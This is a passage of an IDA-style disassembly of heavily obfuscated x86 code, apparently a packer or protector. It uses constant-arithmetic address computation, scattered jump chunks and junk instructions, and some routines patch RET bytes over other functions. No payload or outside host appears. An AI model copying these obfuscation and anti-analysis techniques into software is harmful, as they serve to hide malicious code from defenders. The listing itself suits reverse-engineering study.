sub_74F73B	proc near		; CODE XREF: sub_755103:loc_74A917p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch

; FUNCTION CHUNK AT 00747FDF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074856F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007498F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00749E60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00749F3E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074A5D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B764 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074CEBE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074E7E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007503FE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00750F9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00751073 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007527E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00752EE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075388E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753D30 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075783B SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		jmp	loc_747FDF
sub_74F73B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75265A


loc_74F74C:				; CODE XREF: sub_75265A+Aj
		sub	eax, ecx
		pop	ecx
		rol	eax, 2
; END OF FUNCTION CHUNK	FOR sub_75265A
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74F752:				; CODE XREF: sub_747C22:loc_74A92Bj
		xor	eax, 8A633C61h
		push	offset loc_745755
		jmp	loc_74E811
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		pop	ecx
		shr	edx, 18h
		jmp	sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_74F76B:				; CODE XREF: sub_756496-DC3j
		jz	loc_74B2DA
		jmp	loc_75671A
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748538


loc_74F776:				; CODE XREF: _0z4jwtox:loc_749BD2j
					; sub_748538:loc_74EA37j ...
		jmp	loc_752255
; END OF FUNCTION CHUNK	FOR sub_748538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_74F77B:				; CODE XREF: _0z4jwtox:0074753Bj
					; sub_749010+5C3Cj
		pop	ecx
		call	sub_752F34


loc_74F781:				; CODE XREF: _0z4jwtox:0074F1A1j
		jmp	loc_748F60
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ACFA


loc_74F786:				; CODE XREF: sub_74ACFA+5j
		jmp	sub_755F71
; END OF FUNCTION CHUNK	FOR sub_74ACFA

; =============== S U B	R O U T	I N E =======================================



sub_74F78B	proc near		; DATA XREF: sub_7453FB:loc_750D52o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745EBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00745FC9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00746F75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074723D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00747374 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007479B8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 007482B4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007483D4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074ACEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BB82 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074CBCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D91B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074DCA0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074E34D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 007510FD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007531D7 SIZE 00000005 BYTES

		push	ecx
		push	6A58052Bh
		pop	ecx
		or	ecx, 78B72B69h
		sub	ecx, 0C12578Ah
		or	ecx, 70E0D7A2h
		add	ecx, 81551839h
		mov	[ecx], eax
		jmp	loc_74723D
sub_74F78B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74F7B1	proc near		; CODE XREF: _0z4jwtox:0075572Cj
					; _0z4jwtox:00757667p

; FUNCTION CHUNK AT 00748A7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B77D SIZE 00000018 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	874E6267h
		jmp	loc_748A7D
sub_74F7B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_74F7C0	proc near		; CODE XREF: _0z4jwtox:0075223Aj
					; _0z4jwtox:007545BCp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074AAE9 SIZE 00000027 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		xchg	esi, [esp+0]
		mov	ebx, esi
		jmp	loc_74AAE9
sub_74F7C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F7CE:				; CODE XREF: _0z4jwtox:00748E0Cj
		jle	loc_74E3FA
		shl	ebp, 1Bh
		push	4208D6C1h
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_74F7DC:				; CODE XREF: sub_746E37:loc_748DFFj
		add	edi, 6A3121A9h
		mov	[edi], eax
		pop	edi
		jmp	loc_74A7CA
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
		jnz	loc_755E72
		add	eax, ebp
		jmp	loc_74C150
; ---------------------------------------------------------------------------
		adc	edi, 0B62C8232h
		jmp	loc_74C684
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748773


loc_74F802:				; CODE XREF: sub_748773+463Fj
		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		or	esi, 0E88EC781h
		xor	esi, 0BD5D9A5Bh
		add	esi, ebp
		add	esi, 0B92DAA3Ah
		jmp	loc_755117
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74F821:				; CODE XREF: sub_747AEC-21F6j
		jno	sub_754DFF
		or	esi, 314D6DD8h


loc_74F82D:				; CODE XREF: sub_747AEC:loc_751E78j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_746199
		jmp	loc_74E891
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_74F83E	proc near		; DATA XREF: _0z4jwtox:00747028o

; FUNCTION CHUNK AT 00749CA9 SIZE 00000005 BYTES

		lea	eax, sub_749115
		mov	byte ptr [eax],	0C3h
		jmp	loc_749CA9
sub_74F83E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749115


loc_74F84C:				; CODE XREF: sub_749115+1j
		mov	eax, [esp+0]
		push	edx
		call	sub_7490F6
		push	3B08A763h
		jmp	loc_74F621
; END OF FUNCTION CHUNK	FOR sub_749115
; ---------------------------------------------------------------------------


loc_74F85F:				; CODE XREF: _0z4jwtox:loc_7547B4j
		push	895D602Fh
		pop	edx
		and	edx, 0E0294963h
		or	edx, 0DCAF7DD7h
		xor	edx, 8303168Fh
		sub	edx, 0D96D07ADh
		push	offset sub_74DA9D
		jmp	locret_756CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_74F887:				; CODE XREF: sub_74E451+4j
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_74DE2C
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		jmp	loc_757054
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74F89D:				; CODE XREF: sub_747C22:loc_749375j
		jg	loc_74A931
		jmp	loc_745D0E
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_74F8A8:				; CODE XREF: _0z4jwtox:0074D33Ej
		pushf
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74F8AA:				; CODE XREF: sub_74A7D8:loc_74FF3Bj
		cmp	edx, ebp
		jmp	loc_75130F
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74F8B1:				; CODE XREF: sub_749254+16j
		xchg	eax, [esp-8+arg_4]
		jmp	loc_745F8D
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------


loc_74F8B9:				; CODE XREF: _0z4jwtox:007565CDj
		js	loc_7551D9
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_74F8BF:				; CODE XREF: sub_75712E:loc_755979j
		xor	edx, 0E294DF7Dh
		add	edx, 79D4EEBBh
		xchg	edx, [esp+0]
		jmp	loc_754DCB
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------


loc_74F8D3:				; CODE XREF: _0z4jwtox:loc_7482F0j
		jnz	loc_74506D
		sbb	ebx, 281A7666h
		jp	loc_7487C3
		add	ebp, 0DDB10A82h
		cmp	ebp, ecx
		jmp	loc_751FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754FC6


loc_74F8F2:				; CODE XREF: sub_754FC6:loc_74CB6Fj
		push	edx
		push	ecx
		push	8AD2C1Dh
		pop	ecx
		add	ecx, 62610FEEh
		or	ecx, 4992073Eh
		sub	ecx, 8302625Bh
		add	ecx, 17D8F700h
		jmp	loc_74DA35
; END OF FUNCTION CHUNK	FOR sub_754FC6
; ---------------------------------------------------------------------------


loc_74F917:				; CODE XREF: _0z4jwtox:0075666Cj
		mov	[edi], ebx
		and	ecx, edi
; START	OF FUNCTION CHUNK FOR sub_745183


loc_74F91B:				; CODE XREF: sub_745183:loc_75664Bj
		sub	ebx, 0B1107198h
		add	ebx, 0CAC55D7Eh
		or	ebx, 5D0D35CFh


loc_74F92D:				; CODE XREF: _0z4jwtox:00748149j
		add	ebx, 0A2A6FE11h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_754571
; END OF FUNCTION CHUNK	FOR sub_745183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74F93B:				; CODE XREF: sub_7474B9+1EF5j
		pop	esi
		popf


loc_74F93D:				; CODE XREF: sub_7562F7:loc_74ECD6j
		rol	esi, 1Ah
		jle	loc_74870F
		jmp	loc_754BD6
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		or	ebp, 8DD37BBFh
		jmp	sub_7462FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C733


loc_74F956:				; CODE XREF: sub_74C733:loc_746482j
		or	edi, 57E55173h
		sub	edi, 0C53330D9h
		add	edi, 65C0EFA0h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_74F010
; END OF FUNCTION CHUNK	FOR sub_74C733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74F970:				; CODE XREF: sub_74CBCF:loc_754BFFj
		sub	esi, 80C9E9CEh
		xor	esi, 3E06D228h
		sub	esi, 0DEA8D434h
		jnz	loc_74D6CF


loc_74F988:				; CODE XREF: sub_755CFC-A61Aj
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		sub	edi, esi
		jmp	loc_74D6C6
; ---------------------------------------------------------------------------


loc_74F994:				; CODE XREF: _0z4jwtox:0074D773j
		not	ebx
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74F996:				; CODE XREF: sub_7557E7-8086j
		add	eax, 0F93B816Fh
		sub	eax, 0FA325DC6h
		jns	loc_74B974


loc_74F9A8:				; CODE XREF: _0z4jwtox:007480F6j
		jmp	loc_746BFE
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
		xchg	edx, ebp
		jmp	loc_74D69A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_74F9B4:				; CODE XREF: sub_7462C2+C8BEj
		cmp	ecx, edx
		jmp	loc_755291
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74F9BB:				; CODE XREF: sub_7473D1+B43j
		jle	loc_75215A
		not	eax
		jns	nullsub_62


loc_74F9C9:				; CODE XREF: sub_7473D1:loc_74716Bj
		push	offset loc_74CC23
		jmp	loc_7575BC
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74F9D3:				; CODE XREF: sub_7543C5-1FCCj
		jg	loc_755D08
		mov	edi, eax
		jmp	loc_74F6ED
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74F9E0:				; CODE XREF: _0z4jwtox:0075303Bj
		jbe	loc_755458

; =============== S U B	R O U T	I N E =======================================



sub_74F9E6	proc near		; CODE XREF: sub_745276:loc_753B93p

; FUNCTION CHUNK AT 007475F5 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, ebp
		push	esi
		jmp	loc_7475F5
sub_74F9E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745BF7


loc_74F9F2:				; CODE XREF: sub_745BF7:loc_75408Bj
		push	0
		call	sub_756123
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_745C07
		jmp	sub_745BF7
; ---------------------------------------------------------------------------


loc_74FA08:				; CODE XREF: sub_745BF7:loc_745C07j
		push	eax
		push	0
		jmp	loc_74CA77
; END OF FUNCTION CHUNK	FOR sub_745BF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_74FA10:				; CODE XREF: sub_757314-6582j
		mov	ebp, 154E78E7h
		xor	ebp, edx


loc_74FA17:				; CODE XREF: sub_757314-658Bj
		xor	ecx, 0DB8F8DD9h
		add	ecx, eax
		jmp	loc_745F88
; END OF FUNCTION CHUNK	FOR sub_757314

; =============== S U B	R O U T	I N E =======================================



sub_74FA24	proc near		; CODE XREF: _0z4jwtox:00752CC8j
					; sub_747290+F9EAp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00748880 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		popf
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_748880
sub_74FA24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CCB1


loc_74FA31:				; CODE XREF: sub_74CCB1:loc_7531D2j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_273
; END OF FUNCTION CHUNK	FOR sub_74CCB1
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		jmp	loc_74C88F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74FA46:				; CODE XREF: sub_74C670+818Bj
		jmp	loc_749FF4
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476A3


loc_74FA4B:				; CODE XREF: sub_7476A3+8B35j
		jmp	sub_7451D9
; END OF FUNCTION CHUNK	FOR sub_7476A3
; ---------------------------------------------------------------------------


loc_74FA50:				; CODE XREF: _0z4jwtox:0074CA02j
					; _0z4jwtox:0074F522j
		jmp	loc_756C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_74FA55:				; CODE XREF: sub_7463AE+10j
		jmp	loc_751027
; END OF FUNCTION CHUNK	FOR sub_7463AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_74FA5B:				; CODE XREF: sub_754729-23A3j
		jmp	loc_754721
; END OF FUNCTION CHUNK	FOR sub_754729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74FA60:				; CODE XREF: sub_7543C5-4F65j
		jmp	loc_753E6C
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74FA65:				; CODE XREF: _0z4jwtox:00748F39j
		jmp	sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7459BC


loc_74FA6A:				; CODE XREF: _0z4jwtox:00746B32j
					; sub_7459BC:loc_753EF5j
		add	ebx, 5A00E55Ch
		xchg	ebx, [esp+0]
		jmp	sub_745715
; END OF FUNCTION CHUNK	FOR sub_7459BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7515AA


loc_74FA79:				; CODE XREF: sub_7515AA+1382j
		jmp	loc_7523FE
; END OF FUNCTION CHUNK	FOR sub_7515AA

; =============== S U B	R O U T	I N E =======================================



sub_74FA7E	proc near		; CODE XREF: sub_748B52+3F4p
					; _0z4jwtox:00752EF3j

; FUNCTION CHUNK AT 0074921E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D41A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F2F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074F302 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750229 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007508AF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007550AC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755528 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00756D2D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 137AC828h
		mov	eax, [eax]
		jmp	loc_7550AC
sub_74FA7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74FA8F	proc near		; CODE XREF: sub_74CF35:loc_747321p
					; sub_754729-B133p ...
		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		cmp	eax, 7C61090Eh
		retn
sub_74FA8F	endp

; ---------------------------------------------------------------------------


loc_74FA9C:				; CODE XREF: _0z4jwtox:00755D84j
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C72


loc_74FAA1:				; CODE XREF: sub_747C72+Bj
		xchg	edi, [esp-4+arg_0]
		call	sub_74A3AB
		push	272D491Ah
		pop	eax
		sub	eax, 82EB9C2Bh
		add	eax, 2F312D6Eh
		call	sub_746E93
		jmp	loc_7571C2
; END OF FUNCTION CHUNK	FOR sub_747C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74FAC5:				; CODE XREF: sub_7501AF:loc_74587Cj
		mov	ebp, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_74FAC9:				; CODE XREF: sub_74AE46+439Cj
		jmp	loc_74B3FC
; END OF FUNCTION CHUNK	FOR sub_74AE46

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74FACE	proc near		; CODE XREF: sub_746DD8-1BAFp
					; sub_754DFF:loc_7456F9p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749709 SIZE 00000026 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_749709
sub_74FACE	endp


; =============== S U B	R O U T	I N E =======================================



sub_74FAD6	proc near		; DATA XREF: _0z4jwtox:0074756Fo

; FUNCTION CHUNK AT 00749915 SIZE 00000005 BYTES

		jz	loc_75231D
		jmp	loc_749915
sub_74FAD6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_74FAE1:				; CODE XREF: sub_74A71A:loc_747388j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_75162C[eax*4]
		jmp	loc_749DA9
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74FAF3:				; CODE XREF: sub_74D1F3:loc_748AEDj
		push	ecx
		push	0B38B8CDEh
		pop	ecx
		xor	ecx, 4DCC65E0h
		add	ecx, 1FA077Ah
		call	sub_75299B


loc_74FB0B:				; CODE XREF: sub_75309B:loc_751E34j
		cmp	edx, 0E2C6053Ch
		jmp	loc_74FF2B
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74FB16:				; CODE XREF: sub_7501AF-884Cj
		mov	[edi], edx
		sbb	edx, 75CD5712h
		jo	loc_746D41
		jmp	loc_74C093
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_74FB29:				; CODE XREF: sub_74C2C9:loc_756965j
		mov	edx, 0E5254649h
		call	sub_74BA29
		mov	dword ptr ds:loc_74F377+1, eax
		jmp	loc_74FFB3
; ---------------------------------------------------------------------------


loc_74FB3D:				; CODE XREF: sub_74C2C9:loc_7485E0j
		cmp	dword ptr ds:loc_74F377+1, 0
		jmp	loc_74935F
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
		jnb	loc_7561D3
		jmp	sub_74CEEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74FB54:				; CODE XREF: sub_746640+BB4j
					; sub_746640+F040j
		push	0CC530CC8h
		pop	eax
		xor	eax, 64A701E1h
		or	eax, 0FFCBDEB3h
		add	eax, 0BC39D9BBh
		jmp	loc_756724
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
		xchg	edx, edi
		ja	loc_756DA2
		jmp	sub_748B44
; ---------------------------------------------------------------------------
		sub	edx, 0F7291F98h
		jmp	sub_75309B

; =============== S U B	R O U T	I N E =======================================



sub_74FB89	proc near		; CODE XREF: _0z4jwtox:00745F7Dj
					; sub_755340-B7E5p

; FUNCTION CHUNK AT 0074D571 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007532B1 SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		ja	loc_7532B1
		jmp	loc_74D571
sub_74FB89	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41F0C0
; ---------------------------------------------------------------------------


loc_74FBA7:				; CODE XREF: _0z4jwtox:0074BF81j
		jmp	sub_746CF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748D84


loc_74FBAC:				; CODE XREF: sub_748D84+9j
					; _0z4jwtox:loc_74A982j
		jmp	loc_745969
; END OF FUNCTION CHUNK	FOR sub_748D84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745462


loc_74FBB1:				; CODE XREF: sub_745462+Dj
		jmp	loc_749C23
; END OF FUNCTION CHUNK	FOR sub_745462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_74FBB6:				; CODE XREF: sub_75079B-95DAj
					; sub_746DD8:loc_74A80Cj ...
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		jno	loc_746DE4
		mov	eax, [esp-4+arg_0]
		jmp	loc_745228
; END OF FUNCTION CHUNK	FOR sub_746DD8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74FBCB:				; DATA XREF: sub_7542FD-D5Bo
		add	eax, 31CA105Ch
		add	eax, ebp
		add	eax, 0CF83FFA1h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7494FE
		jmp	loc_755635
; ---------------------------------------------------------------------------
		xchg	ebx, [esi]
		jmp	sub_752E09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74FBF0:				; CODE XREF: sub_7541BA:loc_7491B7j
					; sub_7541BA-AFF8j
		xor	eax, 0DD211D7Fh
		add	eax, ebp
		add	eax, 0CDA04D4Ch
		mov	eax, [eax]
		jmp	loc_74F380
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 2
; ---------------------------------------------------------------------------
		cmp	bh, 0FFh
		jmp	sub_746CC3
; ---------------------------------------------------------------------------
		mov	eax, 0CE3062ECh
		push	edi
		push	0D3EBDDC6h
		pop	edi
		rol	edi, 1Ah
		add	edi, 6B579010h
		jmp	loc_7523CA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74FC2B:				; CODE XREF: _0z4jwtox:00748D59j
		jmp	loc_74AD67

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74FC30	proc near		; CODE XREF: sub_74B74C:loc_74D8A5p

var_14		= byte ptr -14h

; FUNCTION CHUNK AT 00749638 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_74B290,	0
		jnz	loc_74BF48
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_74B294
		jmp	loc_749638
sub_74FC30	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74FC50:				; CODE XREF: sub_74AAC1+169Cj
		test	ecx, edx
		jmp	loc_74E6B6
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_74FC57:				; CODE XREF: _0z4jwtox:loc_74D58Dj
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_74FC58:				; CODE XREF: sub_74C0A0:loc_74A734j
		rol	esi, 10h
		add	esi, 654941DDh
		xor	esi, 0F756CF52h
		add	eax, esi
		jmp	loc_749D57
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74FC6E:				; CODE XREF: sub_7571A1-9624j
		jnz	loc_74560F


loc_74FC74:				; CODE XREF: sub_746F7A+FB8j
		jmp	loc_754F67
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
		and	edx, 0AA0E52EDh
		pop	esi
		shr	ebp, 4
		jmp	loc_74C024
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_74FC88:				; CODE XREF: sub_74E693:loc_749C65j
		jle	loc_746ED5
		or	edx, esi
		jge	loc_7455E6
		jmp	loc_7554F2
; END OF FUNCTION CHUNK	FOR sub_74E693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_74FC9B:				; CODE XREF: sub_747A67+42E8j
		mov	eax, 6FDE1A91h
		push	ecx
		call	sub_74ADC0


loc_74FCA6:				; CODE XREF: sub_753019+17j
		jmp	loc_7478D3
; END OF FUNCTION CHUNK	FOR sub_747A67
; ---------------------------------------------------------------------------


loc_74FCAB:				; CODE XREF: _0z4jwtox:00755FC9j
		sub	eax, 28BD66F6h
		xor	eax, 731E6962h
		and	eax, 0E7CFCB41h
		cmp	eax, 77110438h
		jmp	loc_753406
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74FCC8:				; CODE XREF: sub_746640+1237j
		jns	loc_753D76


loc_74FCCE:				; CODE XREF: sub_746640:loc_746443j
		movzx	eax, word ptr [ebp-6]
		mov	[ebp-1Ch], eax


loc_74FCD5:				; CODE XREF: sub_746640:loc_748B1Fj
					; sub_75422B:loc_757551j
		mov	eax, [ebp-18h]
		mov	eax, [eax+20h]
		jmp	loc_755216
; END OF FUNCTION CHUNK	FOR sub_746640
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74FCE1:				; DATA XREF: sub_752C44-2224o
		xchg	esi, [esp]
		jmp	loc_755F38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74FCE9:				; CODE XREF: sub_747C22:loc_750352j
		call	sub_749B76


loc_74FCEE:				; CODE XREF: sub_747C22+2D1Aj
		jmp	loc_753E99
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74FCF3:				; CODE XREF: sub_747C22:loc_7469CFj
					; _0z4jwtox:loc_747B55j ...
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7539C5
		jmp	loc_74530F
; END OF FUNCTION CHUNK	FOR sub_74A7D8
